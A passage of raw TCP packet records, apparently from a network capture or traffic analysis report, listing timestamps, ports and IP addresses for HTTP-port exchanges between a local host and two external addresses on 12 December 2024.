Dec 12, 2024 21:50:20.585068941 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.585102081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.585115910 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.586189032 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.586205006 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.586255074 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.587363958 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.587393999 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.587407112 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.587588072 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.588260889 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.588310003 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.588432074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.588852882 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.589608908 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.589624882 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.589652061 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.589668036 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.590401888 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.590455055 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.590461969 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.590517998 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.591870070 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.591887951 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.591937065 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.592804909 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.592822075 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.592865944 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.592935085 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.593611002 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.593759060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.593808889 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.594634056 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.594871044 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.594928026 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.595825911 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.595853090 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.595879078 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.595894098 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.598445892 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.598464012 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.598479986 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.598495007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.598500967 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.598526001 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.598526955 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.598537922 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.599267006 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.599284887 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.599314928 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.599347115 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.600230932 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.600246906 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.600280046 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.600296974 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.601193905 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.601247072 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.601361990 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.601510048 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.602619886 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.602638006 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.602686882 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.603549957 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.603662014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.603713036 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.604666948 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.604716063 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.604733944 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.604784966 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.606065989 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.606085062 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.606127977 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.607208014 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.607223988 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.607274055 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.608273983 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.608290911 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.608321905 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.608336926 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.609605074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.609622002 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.609673977 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.610414028 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.610430956 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.610466003 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.610491037 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.611058950 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.611114979 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.611294985 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.611351967 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.612122059 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.612544060 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.612596989 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.613195896 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.613213062 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.613246918 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.613272905 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.614433050 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.614449978 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.614480972 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.614495039 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.615365982 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.615731001 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.615782022 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.616796970 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.616815090 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.616842985 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.616868973 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.617605925 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.617867947 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.617918015 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.618639946 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.618655920 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.618690014 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.618715048 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.619724989 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.619800091 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.619879961 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.619924068 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.620698929 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.620749950 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.620974064 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.621356010 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.622009993 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.622059107 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.757179022 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.757266998 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.757392883 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.757587910 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.757868052 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.757884979 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.757920980 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.757946968 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.759370089 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.759392977 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.759437084 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.759449959 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.760668993 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.760685921 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.760741949 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.761650085 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.761667013 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.761744976 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.762818098 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.762841940 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.762914896 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.763281107 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.763298988 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.763354063 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.765103102 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.765120983 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.765485048 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.765501976 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.765542030 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.765552998 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.766685009 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.766731977 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.766796112 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.767405033 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.767473936 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.767575026 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.768717051 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.768733978 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.768784046 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.768815994 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.769825935 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.769843102 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.769877911 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.769911051 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.770859957 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.770876884 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.770915031 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.770940065 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.771975040 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.771992922 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.772038937 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.772049904 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.773613930 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.773638964 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.773715019 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.774553061 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.774569035 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.774627924 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.775367975 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.775383949 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.775418043 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.775433064 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.776243925 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.776262999 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.776308060 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.778033972 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.778052092 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.778095961 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.778222084 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.778294086 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.778341055 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.778703928 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.778747082 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.779382944 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.779439926 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.779479027 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.779515028 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.781153917 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.781172037 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.781214952 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.781233072 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.782238960 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.782257080 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.782334089 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.782566071 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.782639027 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.782776117 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.782830954 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.783859968 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.783879995 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.783921957 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.783938885 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.785222054 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.785238981 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.785271883 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.785300970 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.786014080 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.786031008 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.786091089 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.786998987 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.787059069 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.787431955 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.787653923 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.788216114 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.788234949 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.788269043 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.788305998 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.789591074 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.789608002 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.789650917 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.790213108 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.790617943 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.791368961 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.791416883 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.791445971 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.791585922 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.794316053 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.794334888 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.794351101 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.794367075 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.794408083 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.794454098 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.794557095 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.794611931 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.795164108 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.795815945 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.795835018 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.795876980 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.796875000 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.796890974 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.796971083 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.797044992 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.798315048 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.798332930 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.798371077 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.798396111 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.799012899 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.799031019 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.799066067 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.800275087 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.800292969 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.800328016 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.800354004 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.802292109 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.802309990 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.802326918 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.802355051 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.802375078 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.802377939 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.802983046 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.803210974 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.803319931 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.803622007 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.803826094 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.806083918 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.806102991 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.806119919 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.806137085 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.806164980 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.806204081 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.806648016 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.806663990 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.806698084 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.806718111 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.807576895 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.808120966 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.808165073 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.808326006 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.809036970 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.809053898 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.809094906 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.810087919 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.810106039 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.810152054 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.811597109 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.811614990 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.811856985 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.812495947 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.812513113 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.812597990 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.813456059 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.813472986 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.813549042 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.813556910 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.815584898 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.815933943 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.951350927 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.951375961 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.951395035 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.951523066 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.951522112 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.951522112 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.951586008 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.952286959 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.952608109 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.952625990 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.952677965 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.952718019 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.953802109 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.953819990 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.953881025 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.954833031 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.954895973 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.955638885 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.955775976 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.957139969 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.957158089 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.957205057 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.957977057 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.958048105 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:20.958098888 CET	80	49901	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:20.958148003 CET	49901	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:23.633603096 CET	49895	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:23.633979082 CET	49913	80	192.168.2.6	185.215.113.43
Dec 12, 2024 21:50:23.753731012 CET	80	49913	185.215.113.43	192.168.2.6
